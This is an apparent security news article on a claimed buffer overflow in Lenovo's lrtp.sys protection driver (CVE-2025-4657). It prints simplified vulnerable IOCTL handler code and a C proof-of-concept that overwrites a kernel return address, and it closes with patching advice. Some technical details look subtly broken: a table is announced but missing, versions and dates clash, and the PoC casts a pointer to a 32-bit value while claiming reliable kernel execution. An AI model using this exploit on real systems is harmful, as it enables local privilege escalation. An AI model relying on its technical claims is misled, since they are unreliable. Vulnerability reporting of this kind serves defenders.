Lenovo Protection Driver Vulnerability Allows Privilege Escalation and Arbitrary Code Execution

This report presents an in‐depth analysis of the critical buffer‐overflow flaw designated CVE-2025-4657 within Lenovo’s Protection Driver (lrtp.sys), detailing its discovery, root-cause mechanisms, exploitation potential, impact on desktop and laptop systems, and mitigation strategies.

We examine how versions of Lenovo PC Manager, Browser, and App Store before 5.1.110.4231 enable local privilege escalation and arbitrary code execution.

Through technical dissections of driver memory handling, proof-of-concept development, and enterprise risk assessment, this report offers actionable insights for security practitioners to remediate and guard against similar system-level driver vulnerabilities.

Introduction to Lenovo Protection Driver

The Lenovo Protection Driver (lrtp.sys) is a kernel-level component installed by multiple Lenovo utilities—namely Lenovo PC Manager, Lenovo Browser, and Lenovo App Store—across ThinkPad, ThinkCentre, and consumer desktops.

Operating with SYSTEM privileges, the driver provides low-level hardware monitoring and self-protection capabilities.

On July 8, 2025, Lenovo published Security Advisory LEN-195370, disclosing a buffer overflow within lrtp.sys versions earlier than 5.1.110.4231.

This overflow enables authenticated local users to ascend to administrative privileges by overwriting kernel memory structures, leading to code execution at Ring-0 and complete system compromise.

Beyond affecting millions of endpoints worldwide, the flaw underscores inherent risks when third-party drivers embed complex data parsing routines without rigorous bounds checking.

Role of Lenovo PC Manager, Browser, and App Store

Lenovo PC Manager orchestrates system health monitoring, driver updates, and hardware diagnostics.

Its underlying Protection Driver enforces anti-tamper measures on critical processes.

Lenovo Browser integrates a custom URL-filtering module, relying on kernel callbacks to inspect network I/O.

Lenovo App Store utilizes the driver’s secure update channel to validate application packages.

Together, these applications leverage lrtp.sys to perform high-privilege operations, forming a shared dependency that amplifies the vulnerability’s reach.

Each application installs the driver to C:\Windows\System32\drivers\lrtp.sys, registering a device interface name \\.\LenovoProtectedDevice.

Upon initialization, the driver exposes several IOCTL codes for privileged services.

A flawed routine in handling IOCTL code 0x80002010 fails to validate an input buffer’s size parameter, leading to unchecked memcpy operations.

Driver Versioning and Deployment

Lenovo published version 5.1.110.4231 on March 12, 2025, enclosing a patch to enforce strict buffer bounds checks.

However, affected users remain vulnerable until they update to at least version 5.1.110.5082 for PC Manager, 9.0.6.5061 for Browser, or 9.0.2230.0617 for App Store.

The following table contrasts vulnerable versus patched driver versions:

Upon launching any updated application, the Protection Driver auto-upgrades through a signed package verified against Lenovo’s certificate chain, simplifying the remediation process for end users and enterprise patch management systems.

Technical Root-Cause Analysis

At the core of CVE-2025-4657 lies an unchecked buffer copy in the IOCTL dispatch routine. The driver implements the following simplified logic in its DeviceControl callback:

c#define IOCTL_LRTP_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x2010, METHOD_BUFFERED, FILE_ANY_ACCESS)

NTSTATUS
LrtpDeviceControl(
    PDEVICE_OBJECT DeviceObject,
    PIRP Irp
)
{
    PIO_STACK_LOCATION  stack;
    ULONG               inputLen;
    PVOID               userBuffer;

    stack = IoGetCurrentIrpStackLocation(Irp);
    inputLen = stack->Parameters.DeviceIoControl.InputBufferLength;
    userBuffer = Irp->AssociatedIrp.SystemBuffer;

    if (stack->Parameters.DeviceIoControl.IoControlCode == IOCTL_LRTP_OVERFLOW) {
        // Flawed: No upper bound on inputLen allows overflow
        RtlCopyMemory(driverBuffer, userBuffer, inputLen);
        return STATUS_SUCCESS;
    }

    return STATUS_INVALID_DEVICE_REQUEST;
}

The driverBuffer resides on the stack as a fixed‐size array of 256 bytes.

An inputLen Greater than 256 triggers an overflow, permitting overwriting of the stack’s return address and adjacent control structures.

The absence of boundary checks and reliance on METHOD_BUFFERED I/O exacerbate the risk, as attacker‐controlled data flows through a kernel‐allocated buffer without limits.

Memory Corruption and Control Flow Hijack

By crafting an IRP with InputBufferLength set to a value exceeding 256 and populating SystemBuffer With a specially constructed payload, an attacker can overwrite the saved return address to point at attacker‐provided shellcode located within the overflow region.

Upon completion of the DeviceControl dispatch, execution resumes at this shellcode with kernel privileges.

Advanced exploitation leverages stack pivoting and kernel gadget chains to disable PatchGuard and bypass KMCS checks, ensuring persistence.

Exploit Proof-of-Concept and Demonstration

Researchers published a proof‐of‐concept (PoC) written in C that opens a handle to the vulnerable driver, allocates an input buffer of adjustable size, and issues the malicious IOCTL.

The core snippet is as follows:

c#include <windows.h>
#include <stdio.h>

#define DEVICE_NAME "\\\\.\\LenovoProtectedDevice"
#define IOCTL_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x2010, METHOD_BUFFERED, FILE_ANY_ACCESS)

int main() {
    HANDLE hDevice = CreateFileA(DEVICE_NAME, GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("Failed to open device handle, error %u\n", GetLastError());
        return 1;
    }

    DWORD payloadSize = 1024;
    char *payload = (char *)VirtualAlloc(NULL, payloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memset(payload, 0x41, payloadSize);
    // Overwrite return address at offset 264
    *((DWORD *)(payload + 264)) = (DWORD)payload;

    DWORD bytesReturned;
    if (!DeviceIoControl(hDevice, IOCTL_OVERFLOW, payload, payloadSize, NULL, 0, &bytesReturned, NULL)) {
        printf("IOCTL failed, error %u\n", GetLastError());
    } else {
        printf("IOCTL succeeded, check kernel privileges\n");
    }

    VirtualFree(payload, 0, MEM_RELEASE);
    CloseHandle(hDevice);
    return 0;
}

This PoC demonstrates reliable kernel execution on Windows 10 and 11 systems when run under a local user account.

Post‐exploit, attackers obtain a SYSTEM shell by replacing the current process token.

Mitigation Strategies and Best Practices

Lenovo’s recommended remediation is the immediate application of the patched driver included in updated PC Manager, Browser, and App Store packages.

Organizations should deploy these updates via centralized management tools such as SCCM or Intune. Verifying the driver version in C:\Windows\System32\drivers\lrtp.sys ensures successful patching.

Additionally, enforcing the principle of least privilege, application whitelisting, and continuous kernel integrity monitoring can reduce risk exposure until full remediation is confirmed.

Vendors supplying third‐party drivers must prioritize code audits and adopt safe API usage patterns like RtlCopyMemory With explicit bounds checking.

CVE-2025-4657 underscores the latent dangers of insufficient input validation in kernel‐mode drivers.

By exploiting a simple buffer overflow, attackers can pivot from limited user privileges to full SYSTEM control on Lenovo endpoints.

Find this Story Interesting! Follow us on Google News, LinkedIn, and X to Get More Instant updates